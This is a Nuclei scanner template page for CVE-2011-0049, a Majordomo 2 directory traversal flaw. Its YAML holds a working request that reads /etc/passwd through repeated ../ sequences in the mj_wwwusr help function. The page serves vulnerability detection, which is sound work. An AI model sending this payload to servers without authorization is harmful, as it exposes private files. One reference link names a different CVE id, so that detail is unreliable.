Majordomo2 - SMTP/HTTP Directory Traversal

ID: CVE-2011-0049

Severity: medium

Author: pikpikcu

Tags: cve,cve2011,majordomo2,lfi,edb,mj2

Description

A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.

YAML Source

id: CVE-2011-0049

info:
  name: Majordomo2 - SMTP/HTTP Directory Traversal
  author: pikpikcu
  severity: medium
  description: A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files and data on the server.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/16103
    - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
    - http://www.kb.cert.org/vuls/id/363726
    - https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481
    - http://securityreason.com/securityalert/8061
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-0049
    cwe-id: CWE-22
    epss-score: 0.8814
    epss-percentile: 0.98672
    cpe: cpe:2.3:a:mj2:majordomo_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mj2
    product: majordomo_2
  tags: cve,cve2011,majordomo2,lfi,edb,mj2

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022016ffdeb777a4fa2cb14be5b3bb440bbd1d09556c8aed43c699da23fcbb8c49d80220567d7e183a10e26862d37fc45bcf74624941a7f04ee9f43ecc6a98444770c075:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-0049.yaml"

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